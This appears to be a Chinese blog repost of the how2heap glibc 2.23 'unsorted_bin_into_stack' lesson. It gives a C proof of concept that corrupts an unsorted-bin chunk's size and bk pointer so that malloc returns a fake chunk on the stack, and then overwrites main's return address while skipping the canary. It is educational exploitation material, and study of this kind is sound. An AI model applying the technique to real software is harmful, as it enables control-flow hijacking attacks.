how2heap-2.23-06-unsorted_bin_into_stack

2024-01-04 21:12
文章标签 stack bin 06 2.23 unsorted how2heap

本文主要是介绍how2heap-2.23-06-unsorted_bin_into_stack,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>// 从 unsorted bin 的 bk 去找合适的
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }int main() {intptr_t stack_buffer[4] = {0};fprintf(stderr, "先申请 victim chunk\n");intptr_t* victim = malloc(0x100);fprintf(stderr, "再申请一块防止与 top chunk 合并\n");intptr_t* p1 = malloc(0x100);fprintf(stderr, "把 %p 这块给释放掉, 会被放进 unsorted bin 中\n", victim);free(victim);fprintf(stderr, "在栈上伪造一个 chunk");fprintf(stderr, "设置 size 与指向可写地址的 bk 指针");stack_buffer[1] = 0x100 + 0x10;stack_buffer[3] = (intptr_t)stack_buffer;//------------VULNERABILITY-----------fprintf(stderr, "假设有一个漏洞可以覆盖 victim 的 size 和 bk 指针\n");fprintf(stderr, "大小应与下一个请求大小不同,以返回 fake chunk 而不是这个,并且需要通过检查(2*SIZE_SZ 到 av->system_mem)\n");victim[-1] = 32;victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stackfprintf(stderr, "现在 malloc 的时候将会返回构造的那个 fake chunk 那里: %p\n", &stack_buffer[2]);char *p2 = malloc(0x100);fprintf(stderr, "malloc(0x100): %p\n", p2);intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcodememcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

unsorted_bin_into_stackunsorted_bin_attack 利用场景不一样,unsorted_bin_into_stack 反而好理解一些

  • unsorted_bin_attack 修改特定位置的内存为一个很大的值
  • unsorted_bin_into_stack 将栈上的空间作为chunk进行分配

在unsorted_bin_into_stack触发前,内存的布局

在这里插入图片描述
通过how2heap-2.23-05-unsorted_bin_attack知道:

  • 在申请chunk时,会首先从bins中进行搜索,当fastbin,small bin中没有合适大小的chunk时,会进入unsorted bin中进行搜索
  • 通过unsorted bin头结点的bk找到最旧释放的chunk,判断该chunk大小是否合适,合适则直接返回,不合适就放到small bin和large bin中
  • unsorted bin链中的chunk,通过chunk bk依次脱链查找,直至unsorted bin清空

触发unsorted_bin_into_stack

在上面的图中,victim chunk是最旧的chunk,所以会先找到这个chunk查看大小是否合适,由于size被修改为0x20,被脱链,放入到small bin中
由于victim bk指向stack_buffer,stack_buffer也会被认为是unsorted bin链中的chunk
stack_buffer chunk的size被修改为0x110,符合malloc(0x100)的大小,脱链,作为可用的chunk分配出来
现在就可以写这个stack_buffer chunk了


最后的两行,就是使用这个这个stack_buffer chunk,往栈中的main的返回地址处写入jackpot函数的地址

这篇关于how2heap-2.23-06-unsorted_bin_into_stack的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/570622

相关文章

06 C++Lambda表达式

lambda表达式的定义 没有显式模版形参的lambda表达式 [捕获] 前属性 (形参列表) 说明符 异常 后属性 尾随类型 约束 {函数体} 有显式模版形参的lambda表达式 [捕获] <模版形参> 模版约束 前属性 (形参列表) 说明符 异常 后属性 尾随类型 约束 {函数体} 含义 捕获:包含零个或者多个捕获符的逗号分隔列表 模板形参:用于泛型lambda提供个模板形参的名

C++——stack、queue的实现及deque的介绍

目录 1.stack与queue的实现 1.1stack的实现  1.2 queue的实现 2.重温vector、list、stack、queue的介绍 2.1 STL标准库中stack和queue的底层结构  3.deque的简单介绍 3.1为什么选择deque作为stack和queue的底层默认容器  3.2 STL中对stack与queue的模拟实现 ①stack模拟实现

前端-06-eslint9大变样后,如何生成旧版本的.eslintrc.cjs配置文件

目录 问题解决办法 问题 最近在写一个vue3+ts的项目,看了尚硅谷的视频,到了配置eslintrc.cjs的时候我犯了难,因为eslint从9.0之后重大更新,跟以前完全不一样,但是我还是想用和老师一样的eslintrc.cjs文件,该怎么做呢? 视频链接:尚硅谷Vue项目实战硅谷甄选,vue3项目+TypeScript前端项目一套通关 解决办法 首先 eslint 要

Java-数据结构-栈和队列-Stack和Queue (o゚▽゚)o

文本目录: ❄️一、栈(Stack):     ▶ 1、栈的概念:   ▶ 2、栈的使用和自实现:      ☑ 1)、Stack():       ☑ 2)、push(E e):      ☑ 3)、empty():         ☑ 4)、peek(E e):        ☑ 5)、pop(E e):       ☑ 6)、size(E e):  ▶ 3、栈自实现的总代

C++入门(06)安装QT并快速测试体验一个简单的C++GUI项目

文章目录 1. 清华镜像源下载2. 安装3. 开始菜单上的 QT 工具4. 打开 Qt Creator5. 简单的 GUI C++ 项目5.1 打开 Qt Creator 并创建新项目5.2 设计界面5.3 添加按钮的点击事件5.4 编译并运行项目 6. 信号和槽(Signals and Slots) 这里用到了C++类与对象的很多概念 1. 清华镜像源下载 https://

Python: #!/usr/bin/python3 #!/usr/bin/env python3

只能放在第一行,第二行就没有效果了。 1. 路径不同 #!/usr/bin/python3&& #!/usr/bin/env python3写在脚本语言第一行的目的是 想要以什么可执行程序去运行这个文件中的代码。 #!/usr/bin/python3是告诉操作系统执行这个脚本的时候,调用/usr/bin下的python3解释器; #!/usr/bin/env python3这种用法是为了

F12抓包06-4:导出metersphere脚本

metersphere是一站式的开源持续测试平台,我们可以将浏览器请求导出为HAR文件,导入到metersphere,生成接口测试。 metersphere有2种导入入口(方式),导入结果不同:         1.导入到“接口定义”:自动生成接口API和单接口case(接口自动去重;每个请求生成不同case,重复的请求生成重复的case,名称自动加数字后缀,自动与接口关联)。

c++stack和list 介绍

stack介绍 堆栈是一种容器适配器,专门设计用于在 LIFO 上下文(后进先出)中运行,其中元素仅从容器的一端插入和提取。 堆栈作为容器适配器实现,容器适配器是使用特定容器类的封装对象作为其基础容器 的类,提供一组特定的成员函数来访问其元素。元素从特定容器的 “back” 推送或弹出,这称为堆栈的顶部。 stack接口 stack() 构造空的栈 empty() 检测stack是否为

java基础总结06-面向对象2

1 JAVA类的定义 JAVA里面有class关键字定义一个类,后面加上自定义的类名即可。如这里定义的person类,使用class person定义了一个person类,然后在person这个类的类体里面定义person这个类应该具有的成员变量(即属性)和方法,如这里定义的int id和int age这个两个成员变量,或者叫属性,这个id表示人的身份证号码,人应该具有这个属性,age表示人

【SpringMVC学习06】SpringMVC中实现文件上传

1. 环境准备 springmvc上传文件的功能需要两个jar包的支持,如下 2. 单个文件的上传 2.1 前台页面 简单的写一下前台页面,注意一点的是form表单中别忘了写enctype=”multipart/form-data”属性: <tr><td>商品图片</td><td><c:if test="${itemsCustom.pic !=null}"><img src="/f